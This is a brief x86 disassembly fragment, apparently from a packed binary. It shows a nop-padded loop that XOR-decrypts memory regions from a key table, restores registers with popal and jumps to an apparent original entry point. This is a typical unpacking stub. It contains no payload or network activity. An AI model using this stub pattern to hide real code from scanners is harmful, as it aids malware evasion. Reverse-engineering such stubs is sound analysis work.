nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219